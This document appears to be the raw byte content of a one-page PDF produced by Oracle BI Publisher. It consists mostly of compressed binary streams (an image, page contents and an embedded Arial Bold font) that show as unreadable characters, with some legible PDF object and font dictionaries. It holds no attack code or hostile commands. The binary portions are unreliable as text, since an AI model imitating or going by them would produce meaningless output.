��?���k�??f����ٳ��ߡ�4�|I��N�։����X��-�����4���}�H}�x����?����'���è4�I;�NəÓ�'Glt�Z"���7Ɩ&��q���8�;K+4i`�Ճ�v�$��<��z�'s��zM���|B��	��t+�ōm����LB��G��Ϯ����ޭ��OXj:W�.�m�xj���rϖ,~Q)|lo�y����Q�|=�k�����<Uiq{��z�>�#:�+�a��C���ǯ9������'��S����eq%å�d�h-岐VL��Q�x��Q���MGU�lg���|-d�<zdyS�)�K\�k"�F�oP9��z&��K�x�ɢ��	�X�%�P�7��H
�_��h� ��j��X�n�a'��]N(����W�E�;�0�Hya�}�|��_j:7����1�j�
�E!ڶ�ı��q_0n��~�����㿆���K�K��J�Pӑ)%
�/�J��1��>�׷�f��/�|G��$SŦG}���@Kk�bG1NT�B�:���nH �:���'e�-4��i/����+p̻՝��<o'�<qDzW��4�n����F����,�Y]QR]���|� �ܞÊ��(��(��(��(��(��(���,�R�¶���L��4�z�V�U��p���ïqǧ�x����m��^$�n�V�,J�mB�2��zOz��>5Լ�[]SK��i�Kv[�fP��6���Z���:7��i��w�k��O�)�È�	pF�x��m�}�\��6���|��z�ɉ���N��b_��<i�|>���Xb�tY]S\��:W��6��|\�K�9��v��C�yC��S��Q�O�-ƻw�gE�ĶPYj��A8\��v����@摫��Ye�k���h��_\[iѬ�˫F�t��hԐ�U?�[�;׼e�
]�5����إŤ�I$�a��<3קz�kzw�O\h8�����.�(64��dD
� �>h�`��ӑ\gşi���:������ŷ\"���#F�*�A2�����iZ�_�k�g��m�}����\�1�H�����z�=ߏ�ټ?�N��vѾ���{�"$�39�0QH
FfL��g�,o�೏�ĩ?�t�#7Q�f�I��K*�/��JN����_�~h><�a�5K�J�[u[YT�fl���9s�Ҁ<���O�~��Q���Rc�[ĭȀj��{�r�>�5���w��+�jV0Y^��K��B�M�7��Ii3Ͻz��|	�ͬ�6�D���O��-IJM�D���ll~QۧJ�ώ��m<m�x�{=�EܰCǚ�{����7Q��@zW�t��Z������q����;��ݷ@z����>���ǣ_G�m*?���������g���Nޙ{{���ii�ZI�w�-yz�<��ĘU��D�~����4��v?|H����O\�G�]�e���p��2���~Tpz�DӼs���^�5�lto˻��h��I���<�$a���I�E���C�E���M&�;�n�s��J�!B10�}}���]�h�x��ڞ�}�ۣ�
W��_-X��z$����C�Uu����ai'�d1�'� r8�z�z��z���_�v�����F��B�6H�hw��D�*�8'8#���_\Ay'�_��b�zF.���D�eVo1��*:7=��;O�Z'�|E��K��7�g�n���̃|%��`�j2�d�g���4��|p��y4�N�������y��AöJ@���d���oĖz�'�<'���Lz��*�.�`:-���h�q�������o����W�e�`��R���O
��H���*X����Ė����s�x�b��i��oj	*䅗�.exp��緰��ÍO������Guh�D?�҉2��1�r9#��
O�7��𭬾0�.�
<ޢ��a.��:q�0��q��>��5��:w�|*�v3�Yt{�c,2n!r�AY1Ͻs<7g��Z���kk�ly�;�G9 Տj����i��:��L����nZ�y�ˉ0�7�������Ϡ����)�6[��W�^��׎����&C�@L'���9��h_�[w�%��������d��0dVc"1s��c��|�8�O���?�a�����캬�wn�d��g;[��z�����g��|=aiw�]9�K�6�ۻ��Tc��xO�x��"�ⷉ<y��;G��&�ŹR���82��ٲC��@�Z�����Y��-/��w��S[�G
"��p�F�RA(:�ݪOkzw���3q�χ)+I�j���x.�B�TX��{�s��x�D�tk��������Z\^��޺����έ
�ee��?*����~�xr��gU����'�F�v+�&^��t?�<O��|m�ol����!��i���Wgq<yc���t�_���I�ZhvZT����<�H\�vs�$���z���D�tHn�4m�k����,��r�Уi#�觩���u(|7�j�Y4�<kz����p��0y`������"x[F�w�x�ƶ�^�<�[k[9\N����(6�)�?yx�x���~:��֦��Z��$~������y�*NN��B3���܎���[�v��΋?�l����Uh�
&p�!���=O_€,k���G�Iմ]r��}�d^\i�k���@<�,>4k�g�m���'�¶�h���"�+��n#%�`.Kg?�޾����Zx�N���-$�ۖ��flr�L*���"?�?x���~���o?�u@�-���~.xb�;?\u��9cW�SkFV@[�bq�R�u�z]��/�g��
N�O�����Y��e�����Nß_|��(��(��(��(��(��(�
z����6�o�i���+�X�YT6��	�5���U���X}���7���m�fn�|����Np>���ŗ��~x�/jv���n!h�P�"�œ"s�1��s��x�Z������!]�i���P�m�]���J�B�%��繧.��	�/�/��S��8��
J��͂i0�*��n��8�b~V��k�������5���Q���_��K�;�3�7��S�����V��y��x��=-��0�28*�#Ga�v$s�ӥ}�3G�~��O�k:�����E�{y��F$���em�8 r����u��-K�lz|�iW73��(f��(��OU�Z�>!x�d�6�.��!X����|*F�M���x/�'��OI�&����1x��;�CŶ񯇥��@����4���<��Ǩ�麖��C��~��,��+x��ݧmAv��]U�\'��ǔAs��ω,<%w���ڮ�k�ݛgѧ����D\�`��~�l�t�$�%�'���.�`����kkg�"����d�K��Y?��ÏO,�o�tװ����L��,�vWH��\�p址�E�`>S�' 2�5�iz����J�}}��"�ٴ�r��a�A��W�t�;7���w�=��.�.�kv�7#V���J]$ua��H'�1�&�����#�6��
Z�j�4��'��Ĝ|���G�৉<]�K\��ң���$��m���ꧽW񷁼a��_k���ϲ���4{�H����n�N��ō摧ir�2�V��<[�)��$`���+�����$7���돌W��Zɏ���Ze��tEeh�B�О$_��z��~�7�>��#F�6��ZK{g?ڦ*hк6�r���9�<R�{�Ӯb�a�5��_-�-��#od�2a[���<���<sg��@��c�����O	-EM�z�B%Prs�Wc�ƿ,��ڶ�$��rӳF��&.U#�>�o�]��u�:O�/���}BS5���
:��,�c���O8�ր8���^�C�4�'[�,tK-VKi%��am�����Vh�N	P�U�/	j^;����~!]�}�������b���S� ��c�����5��Z�k$({v�֯&c�\�2̆D�8O3�<"����<���&����V�[��l�M�jr�#�����5��
�y<s��yƥ,F��&���.ŤPA����{?�+�z��k��P�Q�xVW���4�h̗R!���r�LL�*�,x������?	<Co�x�+L��[�`سж�C0�cA�q�NMc��~.�g��(��`���rǨ^�i<�F
��@���BI�`P���cG׼a�ͤ��>*�P_��>ϷEIU|̪ɴ�`��\��|'{��s➳�G�uAm�K,�ز�2�7![q���x�⦱����wn���%YU"]ͶE�?���M�#ŷw�,����9��x�#èƒp��ﹼ�� dt$�o��o
\x���rɣϨ<��v�`e22�Ԓ3��z׮}����T}�C�ퟸ���!_?l�_L��S�<	�x�F���z��enIc�H��ʾc
�x,��?^1��׆tmmn�#�Tw�����-,2�ݙ��w[�<��Ï@[�/�k?�J����Z�]�����@�,`�+��$�i�*��d����E��e��H&�|����'�ɵ�]�1����c�_<p�4�7��߅�놷����%���T)@FK?8��G�KI�<]��x���0ZG�ZI���� #�0�YK/�8�:��/�>i��Y��x6��<o�x�cu�eO# ��׎k�~$izv���^�{v����]ȲI����$a�j�c�O�ZŜw�:�u]WIJ�헐-$�!0�*�8QӿS��>Ѯ�Y<K=��^�P�.<�€���?}���J��t}#��[�F�-oH�I�K�~�?-��v��q�Hs/sא�þ0���K��b�<5���{�f��G�Cl]�.�?{�&��c�%��X�6�f���ؾ_����c��ރ�����,��V�<�n�;I<.��l�G���,�`8ȓ���z|����u�v��_@�Q����U
�pJ�3�=�z%����i�� �|e8�ԢKۏ�!�MV@���&ef.c9F9�s���^����ឧ��+��kk�ҳ\C8/�Dc�<w<ޱ��ڎ���N�ir���Rګm��O;
�1����g��{P���/|�Ɨ��2�=��ڱkuq���@$���ǮO�W{�|H�֖� �c�B\��hǕ$Y�
��#81����^�
(��
(��
(��
(��
(��
(��<����y���V?�-�����'P��J�qRG��4Z��b7��i��}������i����EK\G���5��77s�C�:tIik�K!K����21��H��G�۞��=[�ƕ�}��.}J}y.$ԭm��1܆2"���>�8�:�?�<K��j�ß�94Mz��\]Z�л��eRr+��ȮR���<�Ӽ)����c�D��ܫ��鑰����a@v9;F���-�7�X]�>�~�3�_ʰ�\L��/�v†D���xǀ|�
g��jz��W���ԩP��i+�ZLq�^���x_¾Ь��O�VF���h�Ζ{"O11�?�!<����y�_���i`to�H�g�ś�@��ǵ�|�%	����LJ|1y�Gu���mB94�W��s��d�@�T,hB�e�p(��#�?�s�?���=sw����?i�ǀ/��`��,_Q��%a"2�,gJ��z���~)���|Gw�X|�V��f��4�\��� a�$u=*����/լ��(��˵o�H|�O�9��{�Ì��?�t���~0�ρu���H�m3��SC���)�.�@�>>S�<��e�į��|D��I�!�J�}2	<Ɯ|��>g˵����2h2׾�_�:���x�K�\Y�_i���P�!Y]]$WN#z�W��?/4x'�=�Ojm���/�I�����Xn]�2��Z��|/��
\�sᎧ&��]\�[]FQ#a<���J�6a�9��x��^ ���	�R�]�!ԑ���|�FU���:���-7C����z_�+H�ݥmv��5�m�
��������_Go�P��χt��J;�-�#���.�(�2�"����#�����9�YxR�㿈��w�����[U,�_&)�?K��>�߇���L�~�߿�5H��'���d� ²�P��N
��s��5�}��Nѡ���4�y�Y[V��K��QZ=�Ձ#8�#��c�<���Z�x�N�����K��vh�[~��HRr����<�uv:?�?���w��͍ݮ��<���#9A$�e#"N��+��|}��5���3M�4WC76��f�$BI
�p�9�y��^/�N�|Ye�?Gy��qY\�:��2�Jǽ�	�=G'��,���<�u	|Y���O����.b�e�����<0�A���� 1������×F�ܹ�u�[d��?wӯ_j������N��O�k�_bu���7��]�o��8f����?h?�W�1x�M������Y�$�+f���)>j�Q�\�ßjZ&���r���un#���I��,�U���2|��]�ԁ����
[�fh�`t�?O���km31�r�N��X��9�̗���G�[����ʰ��$Hϔ.�Ӣ6z�ǥu~5�'�/����~�;�,Mmjm�"�c��F8@�C��>.�lh>>����:;�=g���,���\X�mA���Ga@}��<S��}��u���趑�k�]�>�2"�P��_�IFT��G<���J��w⋿
A�
�{H���䍈B�w�����s������i���=�����̍���$�V0X��r��7�}�p�x���������6���z�!02�Q��+����
�������N�<&���b��m�+	�c8
T�s��S������Me�ί��*K��-��'x�>b˺>V�<�V>
x���J<)ۿ�g���<�/ˏ�;s��9��o�k��J+Ht��Y<M���$!�^�P�|�8�z�>���� �w���H��P�k?�v����r�������H�5���,��u���X�n.t�2��Q�Ff$��	�bkWռ+�x���^�4o��-��&�4Q��ڹ�(S��d�瘺zA�,:;�¿x�;�֜�i�mW&-��$��	��:q�G�K�~����/5�;kI,��s�dm�FXD2J��;xG�>���:tw��KY%���)2�����O�
��G�<ei�O#���keU�Y\�e��$��+����?�V�����<!��ʟe��=�����&B�w�O���<c[�[�/h��ڶ��{6����۹���<�8����ʟ�iF�c��GC���7񕎵%ԿiƷ2c�B��]���$��q\}׈��5�ؗI��;D�O��X�M��Y�]،�ګH
�1)����<7��i����כ� �0�l���OE��z������k��ϛ�'��vA��n�;�€
(��
(��
(��
(��
(��
(��8?�7��𭬾0�.�
<ޢ��a.��:q�0��q��dR���ߍ,,�u&�扡�i�bED&���v=k��+M����Ow\-µ���`��;��0緥x��=Q�ŭ#I�m��}>��\[�7my����'�@��|'��{��sN�nd���Ⱦ�<i��cO*M��+m888����>�&�ޝ�jPh3�}���B����X�����=G��~�V
���4+k�3O�Uo�:F�	����~�)���ϥâ�f�7����Դ�"���k�����#���XIc��T���T2hS�wTmD�P��nL���aֱ�]�/M⨢�x�^ȶ��j�*8� �7F���u�D�|Iy�g�֧��m⩮�흌�fIao.2Ţ;Gܗ����9���Jo�V-S�Jǣ�).<4�p%oY�3	9��ȃ)�����f����Zk�.ң��߱'��8�� @GU=댓���T�E�t�J\'��iL�=���W2+E!㓞���ͧ��<K=��"�Sj�6��}��;}+�/�3��|%⫨�MB�Pi�ȅ��$��8u(���:t�
�^��5�
k�S��Ӯ!��l�,��ٖGH�#��F�>gnG�<��Oh���/���K�ڇ�kmkg+��qa�e�E ���/��S�i����<9y�˯	J�ȗ8��B�8P�1���Z�%始n�(x�84�#Y�6P����VE
#R� s�1�^E[��{�z�:^��=Ji�[�k[�B�e��:��oJ�x��ėZ	���ӞH�i#Ek{r@D$r�* �<u<��~���C�n�K�u�'��h��m��r�C��׈�/ŸM�_Z�4� ���s]�^Gs	d�2�y�-��8�O�<P����qv�5�ƃ
�����IZ@����_���N�ᯆ�<]��:��Guu���;�h�s�=��w��7�?��?�5(�Y��
��m�ȉ��͐���*��zԞ�ݞ��I�?	�>��S&����;�n��������Y��n��}����msº�ίa��}=����<,���_��$|���t��
�hZ�%���)�=���qw��� 2Z_�����ž{'��t�3�΍ys<zE����O�E�e*���A</^ݫ�?���G��-��W�^۽�=�P�|����Ձ
9���m����K�k�N��E�XmT:�߀K�0�S^��K�
\�#�^�.�5t ���1+<�D�2e�p��^��H4�i���<3��s���R�3]:�1�.�Q� ��F���Ox�������ֻ���m��a�����i$�������|�X�N��>�����y���e��c�mО��?��}.mkR��ټn�^���a���F�4����8Ox�9�^վ �E��z�,p#J�����E�S�t���^8�U�=m/K�=��Kp��V�3*���%�޴�x�)�/�����^]��;"�sO�+�{O�-Ux#��yg�eⴄ���v�x]�b[;%Q��/��f;�D��~���u��&��߁��4]e�ŷ7*Q��w.K�!'k�bC�/�����-Q����!�Dc���H�ԐY�+�D>�����s�'�n��~�}�-�m��WaT�������x���6�����~E֩��Mx�k���\�8b@�ۦ:Տ���
�V�g��U�f���#�r�17_Oq\���Eq߅a��E�q&�s�Ȍ֖��&�Nה���`v ~�7�4�[VѾ�}?��K���vٝG
�
�Z�1��^1�־Ϧ��mo��*i$o4�V`d(�~|w��<iu�#T��4�M[K�-����5uU�\�i�	�ǮA���7�½c�>!�4�=j��u���3Ļ�l�s���	�}O��1񕯅��V��]A�d�8�F�F�(��%W�3�ҽ�U�M�_|�ޚ5ָ�F�����p�fs���C���h���>��X躻�"�Ǝ�m����!\�z����׉�n�m-$�T�����(+,҈�YYY������P�$׼�Q�K���|Uq����pđ�+	#u_0��çPh�4�u�-;T�΃���g�R[����h�(ZPB�ς���w�x;�^��j:���=�\\ܱW��AB��}�����m�+k����
�n�-�n�H��o�Ǹ�I	���22OD�x/G�������u���Ċ�pO��g,~�h�?���}¾T��7ѵI�*����5��
��1�To��x����
(��
(��
(��
(��
(��
(��<��_�$����/��������y�_�&s��;}�����_
���CT�u��I
D��vWQ�_5w�N�6��зbk�+��j�
�ti��-CP7��k!Um\)ĩ��ǧqϠ���NJ�_���w�ٴ��[����&�3��C�1�Ñָ��U�c����'����j���㍞w�>o�}3���x�;��W��;OC�yڮ�0���yH|�$1�	;ג>n��#��⎩7�|4z��S��V:��b#
�z�rK���`����x�A�]�I�!�|�%��^�t��T����23��-��}�z����v�Z��a�R�8fG]5d820v���q�
���x���w�}:��,���FeP��0X����x�ZK���t�d�O{��)Y",v)������<u�+;	Z|8��
N�I�)��0)q�]ʄb��~�l�v�����~���N~��fv�w��^���?=�𷅴o�r�@�,����m�W�����,�v�R�7�"��[�__���ொ��6m'U�=G9Y�cC�/,�ns����5𮩣xu�<[�i�v2jREmY�Ǚ��$n�[�g^ru���?�[
�6�]���"�+(�I)�~��c�?DӼ{��&��v��{��h�oh���n�*���˖?/^Nv/�(x+�}�
�I�c�N�Yy�K�<�����>!�_|	z��<O�i��%�PY.#�&ge�ͽ�</S�C�]MOº�?"�o��hiF�=2�wi�A�#t�>w�O�s��o◌�G�Ϥ����,g��E�XSv�9Tr��y��K�WY��Pɪ����b��M[z�,��V9=:����>	��&��x�O�<�2�FAv��㓵x�=�/�~�y�/����Γ<�!m@�k�˘n�ce�K�eK�\�)�oC���?�/��ll<e3i�m�0�R�!f��̤eۆ:���W�ƞ#�M�
�ܖVן�|�;v&�,��'���x�Ɩ~%�,^���Pf��PMBC"f9�	bU�1˞=}�����������E4�?��i�h�w�`��q��~�C������K��S�v���(h��h'������3��|q��mm�iK��9�m'ʼn#�I+'���z�@Y�x��7�m�S��k6ogn,��q�b����"�%e��޽?�Z���x��~�|9�Y�&-KY�"�P��L�*+��\d�<G�o�:��+u�ꖚ���z�
ֱ�(R��;�Nr���t���|_�+Y��[S�n|.����B�O���c>\c���y7z>3����A��%����{�6��qta���^_`>X��;G�xD�ס�!���5$�&M�Z5��]y�S#�n@�}+�<w�xsᖷs��
��H�$��]���{wA!E���s��󎼟��&^����|W⻉������) PmS�HO4�|)�?�<=�'�s�7��h����}�I���w�ޤ�{���O�N��xB��[C�w����a�N��y��q���q��:���/�7�7�_���Mn�g���@�B�G�����U�}�kC�|P]�B��%��|���p�vs���C��hxk�?|I�}<�x�L�c��P\�P�p��	%q�}���~+�5�x{F�b���|�F���U�툊ZA�L����ǭy炵O�><Ѧ�4�i���[��[ƬX*�F�c;�տ�Zլ<e�^O�_>��i%��Kr	7$��i%9�8������uh�������4[˟"i3�F���~��9$������WI���i��͝ǟ��i>dW
[�N�#�=�b|y�����L���	q^^�*H���Q����#�}z��L�C᫟���;�SO�-�t�9X�	]�QI˾r:�(�|=�C��;Q��"�`���xOڶyJ��d�3�A�����?�b��J��o¶R�ݗ�g�n��CC6G�2�N���uǚx�Z�׊��Q'�x��4�gm�,Ό�_�
@�s��C׌�G�C��Ro�FY5}KO2��N�|H~cr6�  �e�p�?|e����;O
�Jk}�y��N�"4�(c�{V|���Z����4�<=c��emF��BǮƅ�w0P�.!u�	%n:�]�x8
G[�5+�z�kk�\H�0�J��S�s����^��^,��l���񆠰���6��J��x�}��j����,m��t8����a��o�m����c;����g�>�^/���$���uXu8bXf�2�#��̛��å{�QEQEQEQEQEQEp|k�x¶������z��H̡J;dme9�����C������/�$Q�G�<��+����O��%״oX��zޥci��Gkt�)o6Q���3�(���ƭ3N������O4�����'�_��x���-��N�mNmA��bED3Ǒ�?���Z��g����ω?�ڭ����/�w.��>q��g����
[Rѿfo
�iz�݌�ȍ%���rpJ�q�=�t�%ּG�oj	�
����uI,4�S��n��\�]�O���? 㑞sG�5��4
n����>ŧAd�l�6��Y[�A�*9nzc��/↓g�oڼ�Fo�H|����w�a�q�o�:sτh����?�?�~�	/�L~��y~_�[�v�6���������\:.��sx���KJi�Ans���N�~s�����is|*m_R�O�印e!pr�#��9���Z�/�,5�x_Q�d��%�����$G���l��K��2�Ӟ��ZN��O�.����y���WP�k%(����Cǘ?�9��<u�?Xx��@�^�}�jow%��x_.`ꈡ�"���rG�ޟ�</��g�VַWwq��;�����4P�C�����J�G�?x���8�a�.��\&���M�������mĩ��6g��W�9�{g��_
����x��2hW�o��s���;
�P���%X��zb�>����Zx�N���-$�ۖ��flr�L*���"?�?x���S���Eik$�|싨KѣC�a��v���ҽ.���4�9//�2j����|Ӽ���2��$�������e�|)�-s\���=�Ε˻ewhݷ���}��=���kÒ�¾�u�Ңi��tb��\ C̫���ׂI�O�C�i���7�-��ԵV*%���j*Ñ�����ǥ���$�6z��o�u8�$i�C���z�cgtp�@��8�O	xjo_���D��:.��}q��jV���N�:���Xr�@<��Z������"��m_3N��>cOo&7�:�%eRCy�0Ewz'�~1x�G�V�|+��Xϻ˗~��X��r�W�k�f���z���_M�e��v���U����glQ�&q�N�q�v���^��x�H�����'R�$�����yN��'�<Iy��1��ő���B��G�iQ)��kV%K�R�7�'������y=��V?�u�����>�����g8����X���Y����<_m���Xi����y��@���ȍ��+�
I��[x�Þ�"A��ŧZ�TP!�,�"`7��z�u�|7g��:.�a$�Z��c��ܳ���{W�^��<y�ZZi��x]��^^�69q&F�q��y��?�^'����Im����P���l�T�F�d�ʣpS��:��<��=+��/Ub�g��-<[���%�qD�������q�c�v^��ٮ��
N��P��{���RVy~�+�p�u^��O_Ҭ�(�u˻MN�O=���)���8��ǏO0�ޕ�]���{��S���}��Β/��]yN�#g�w��mm�;��#�K��(ѵ+mr}'�3�+]kQ!{���IPF�We�N��぀<�|!�^���z��_h��b�*12��3��A�OS�w~"��<�F�q�k:F��Ik��v�����
�=�Ue?*�*8ط�_��E�{�
��J�Cy(k]VS��1�V1�2���9�`>v8�C����<e�j�"�E��P���0ǯƲ2�
��F񉇯 ��k���l�.��H�.��5���d��9V��L��>��֟��1��Ñ��|E��c�J��4�J+���Asī���Ս]���ǟ�:�W����-��H�e���$ bY�',{��<�x���W/�3�閺�ٹ}f{Y[�Tp�
�ra������K�i�7�5��6�"���d��h��0���-��}��<�{�5��]閑�]/Y��U��$��*�y8ɓ�G������
�cxu.<Y�\O��vi�ImA�X�	R�c�a��C�bOh?t�|!,:o�4�'�tW
:4L�+�*b0	�Y��9�������4�KM2�O��k��a��.$¨�2#���>��\k����E���xz�P�=z��--L��x��e<+���~��/�7~1����d��%���۰L��]TJ(�.=@=���Y\x�^��#��o$�"q��C#��m������� 5��V���-k�����7Ҧ�5�f�3����z�N��zŞ��M7S��`�mf�vYA��bWS�*�H'��]EQEQEQEQEQEQEx���$�O����*Z�<I�+�/�����wQ�!Wȏ	 a'�ξ���>l_��
4o
��K�LJ���{)-٤ém��N阀���z���5�	��VO�
꾟��<�\��5���ߊ|,�v3�\Gn�ue�"�B唂�c�z��P�U��mm����u�m�Ԯ���{�8/�'ʻ�s����
��(�5��Y�l��;ϲ]I�$,�RI�1�HÂ:�����W�>�7��A��w�}:��,ⶉn$fU
PQ���O�8�C��~;�-���?i��̆�Jhp��.�	�>>a��q�Q?�W�V���
�WI�\�VYw t�f!=��{e�c���O�_�bK��D�m�ol.�H�YcY%	p2�}��	�~+���|C�h�Zf�v�Z�
O�C����}�q�T�2}>���<��q���Cc�xz�=-o�O:=�#��O����t��H|m��	�k0K�K�+O�b�?�C����3�6��ϧ�Q@�x�v��+�#R�^����\Ǐ"��G#���]�?*��tW?��H�<3*]��'en�eakH�K"�)b�C������0=���ž5�^�_�"�3�H�]�]"�Ip%Öv	��O�����w^6�,����u
2�;hFƊݢ!�ʢ��d�<{�L��<?�>��|$��{�N��l��{O�Gr�e,��@�y4k~���=}'V�V�qc>�2-�7m`Õ���^�E|��_�W�"��ؽ���G��,��'���eW<�ۮޣ�n���»%��:�����Ж�6+�,L��匑�Au���A���(�
[�|9�A�i7g��w�.�}�����G"����ί�Z�Y��n��ִD�M�E��Ç!Ȍ�tQ0a����󆷨�J�'����_k>.�o����2�A�hF8�Ƨ��ש�;-+�BxQ����'��5���<���yVP���O��w�Pž%��j�j�G>���-Ա�+��a��OA��x[��6���O���K�چ�[k[9\N��l3�ۈ�x�����z(��ŵ�g�|;���ǨA5��Ǿ1�f��p�#��=�Ėv<)�yc��x�DM>�EQ��#�`�s���y����(�3�]�C��>ݬ��h��qq<@vW�H1!��ɜ��l�ePEPEPEPEPEPEPEPEPEPEPEPEPEPEPEPEPEPEPEPEPEPEPEPEPEPEPEPEPEPEPEPEPEPEPEPEPEPEPEPEPEPEPEPEPEPEPEPEPEPEPEPEPEPEPEPEPEPEPEPEPEPEPEPEPEPEPEPEPEP��
endstream
endobj
6 0 obj
<<
/Type /Page
/Parent 3 0 R
/Resources 4 0 R
/Contents 7 0 R
/MediaBox[ 0 0 841.9 595.3 ]
/CropBox[ 0 0 841.9 595.3 ]
/Rotate 0
>>
endobj
7 0 obj
<< /Length 2508 /Filter /FlateDecode >>
stream
x��Z٪$�}o���_��Z�1Ԗ�m��=`h��&���BJU����$�UZb;�(t����������Ǘ뷏/�~3�B̛�A�۷�_~��Ǘ͘�ۿ>�|�Z|,>�����蓟�O�'�e���
�;>1G����.�c�B�I��ۿ�L&��y��CY(������{?�V>�K}���J���㎽��y8� =i.��4��X�$}�u�z�@;��tX�|��V�is*k��}���v�����W�ت������[�&�=�z�q�8�k
����H�<���|k�qC���}]��*��Sޝ�~Z/�#x��>a��T�z�ȿM�Si~텰�|\������?���A:�'�M8����X���V�h��q,Oa��W�I�l��s���ֽ�͉�ß��2��K�`I�;}��f�Y�.?�{������78l�Gp���[~��?��l��2�q�0��	Ǽ��Uqz�tʼ�ǪK��C�]`�e�t�-pl�v�v~����:�{\̄1���uƮU�A�k�~�ׁƴ��
����X��!���x��^1{4X�Y���
�l�Nv1�����K��w�)1/��pO�E�1Q��1w`d��*����b���}鳹��W�!����y���}z�
~Z�!:e_�w��W��#��_�'9���u|&A}V��� ğ�A/�u��,���'��52�=�A.�ª��C9����K�w�/�C�h�"���s�BǏ��j/�Ì��Tc�_��E'�og�0QE�9핷AT��+�j���J��MF�9+���<�M� �k5�N�.�T7��黕���7!��I6";v���l5T�eW$4[�*�- ,��"�
bT��jM��I���[��&�?k
�7�erʹ�{'��]��K�u�\j�j>]s̉FR֣��9�B�������CN
t��[l&��䗐�ҩW�l{��t,,eA�{�{6*
��2�␮EG�^��{ER�T�	z;�뤔�Q��>��~D��Q�fYZp��'�Vùy+�}4�p�����c�x`�x`�
�3��c�Ս���0*$@��L�jV�;�n��gq�"���{�C����#.|��+��ig�?�w��x��y�'���5��Ϥ�C����a 	#�i[ri�z�91c���KEv�fZ��e�=&m��#�?
�i+������*��|\�p~�D�#��w���9oiU�$��>�G�(�Tθ�I��J�P�6��L�l5�R�hg�0V�ʛ<;���3O�lF��2�����\$��yg֋\<�_�
��0e����F�6�'���F�U(%���/
����w����X���Jع�0�=��K�YF[>�h2d:��zA��_��(��`�ϕVw���Oy��T��tMW��DK�L�<2�Z3k�vE�ӽ�I�Q�a�qU��gЩ�C�2m��j����s8+���N�
�1��<O;'��Ӵ��3�<��ݧ4Z�,�}�=:`>�`'I�EN����Ȍa{]��*��C��ǎ<_�mF��G��Ͳ���8r�cjh&���I�[��騶j럅��
�9ƇW�{&W��N�}!S4���j��7m���īQ'��.P��Kp�b���"���V��v�>W/O�0��ϐ�Gu1�n�O3��"�,!}܁���� 9�+'�@=�Ar��M��d{5�M=9ߖQg��P@G�z����TG|�CY�:2��ի1f$��v�%��G9�:��Z�XX�Z榜�wB@m���(g�l�BsC���׳��o-�dF�*���e��]~s���
�E���zuP�M�~9��E�����{8��]�-F{�kߓ��A��c����ݏ��<`���_x��=RU�<�]���8���r���:ߚ�s��3��AGW�*�+mn�
�W�{*��>� �|/5�/���7���}��\��V1�6eEk�����.�/.m�9�f�B�j��Ҳ���f��5j;�V7U�ʗв�߈���:��@V7�����\x`���M̱�U�J�߸�g�h����.�X%�ѵr�b�eu��;����^^\�c�55fh0�%,A���')�8�sj�@��1OH���Y�4�J_$�t��0�S��8K�]�vT�[��"�p��%8`���U�/�ٜ�v=^L,�Lk�3"NȬ���d��|��SS�!�d���te���n��f�R
�ѝ5�8��6ʚqK���l;�tޢ�C����8��?�S��o*f-}��<
����)����
��*�m���2x�n����`ōUn�`�[�����8�&X��8`tT"MpX���P��(�q�ŸG�
\O'~�R�w
xFI���*���SʀM�'��s����		�{1!X�J'��A����ح���:�B��h�>�lD\���V�'{���h�_9���7�
�
endstream
endobj
1 0 obj
<<
/Type /Catalog
/Pages 3 0 R
>>
endobj
2 0 obj
<<
/Type /Info
/Producer (Oracle BI Publisher 11.1.1.7.160719)
>>
endobj
3 0 obj
<<
/Type /Pages
/Kids [
6 0 R
]
/Count 1
>>
endobj
4 0 obj
<<
/ProcSet [ /PDF /Text ]
/Font << 
/F1 8 0 R
/F2 13 0 R
>>
/XObject << 
/Im0 5 0 R
>>
>>
endobj
8 0 obj
<<
/Type /Font
/Subtype /Type0
/BaseFont /NHORHJ+Arial#20Bold
/Encoding /Identity-H
/DescendantFonts [ 9 0 R ]
/ToUnicode 12 0 R
>>
endobj
9 0 obj
<<
/Type /Font
/Subtype /CIDFontType2
/BaseFont /NHORHJ+Arial#20Bold
/FontDescriptor 10 0 R
/CIDSystemInfo << /Registry (Adobe)/Ordering (Identity)/Supplement 0 >>
/DW 1000
/W [ 0 [610] 1 [722] 2 [702] 3 [666] 4 [610] 5 [277] 6 [722] 7 [556] 8 [556] 9 [556]
 10 [556] 11 [556] 12 [556] 13 [556] 14 [556] 15 [610] 16 [489] 17 [277] 18 [718] 19 [777]
 20 [566] 21 [500] 22 [604] 23 [635] 24 [556] 25 [556] 26 [333] 27 [556] 28 [722] 29 [712]
 30 [333] 31 [333] 32 [666] 33 [610] 34 [718] 35 [701] 36 [722] 37 [979] 38 [634] 39 [722]
 40 [666] 41 [610] 42 [610] 43 [777] 44 [556] 45 [556] 46 [556] 47 [722] 48 [666] 49 [722]
 ]
>>
endobj
10 0 obj
<<
/Type /FontDescriptor
/Ascent 905
/CapHeight 715
/Descent -211
/Flags 4
/FontBBox [ -627 -376 2000 1017 ]
/FontName /NHORHJ+Arial#20Bold
/ItalicAngle 0.0
/StemV 0
/FontFile2 11 0 R
>>
endobj
11 0 obj
<< /Filter /FlateDecode /Length 12762 /Length1 17858 >>
stream
x��{	|T��������LfK&��CHH��@$/d�@X���UP+A@\���V"*P�e2ALXJ\��ւu)j[�`M�-""y�?�̀ү��}��L�=w;��{�����`
p�̻q��ݸg>Ě'�Yۯ�����B̟�p�u7/��]�؎��-�3�����?#M�"�p���(�`9wя��􏤫
�c���uK����we˿�ќ���,�F,c��7,h��%� m�����A��!�χl��s�/Ncm�/H0�O��?�B�B79^8M�d$L����Ax�0&.�\	�}�py"yc�8\?���ɝɝؾ	^����y0�_�8�	�$ց��4�9�>~�F����i��
w�xUP5ɗ�ga��o��^��a?��!�@�&�O~�����S��� ��Zx����0�<:��V�V8�3M��p=���	�&.�$N$oM~"d@!���Qd}��&�%?���o�zٷ���of��ɧ�/C&�H��yI(��#�t�`E~F�D&�<s����	������0��̿"A��|����OW�U�;0Wۊܮ�-���� ��#�O��d�K�\r?�'���0���{�'��P��C-��`/�ނ�D��KH��,!���H?��/�7������~�������\
��j��3�
{�w�����BF�E�i'��Kj�C��N��џs������Q�x�Z�-�C�na�4G��n�����|1�6��χ����!xG��a���%�ȕ8�2��<H~N~E�&_�*���ciκ�ހr��>@���������~�	���[�=�Ź��)��~$?���'qgJ�����a��pB�����ҝ�]�o�
�Y}�׻QweԤ[P?����{p~��r�'q$L
��J�@�$r9��, w�u�'�Q��J~�+�5P	y��:�Ρ�]t����>�&}��ȹ��pQn$7������5,�Vqw�d��vr��w�ϸϹ�5/�ï�o���{���K��w�pH���
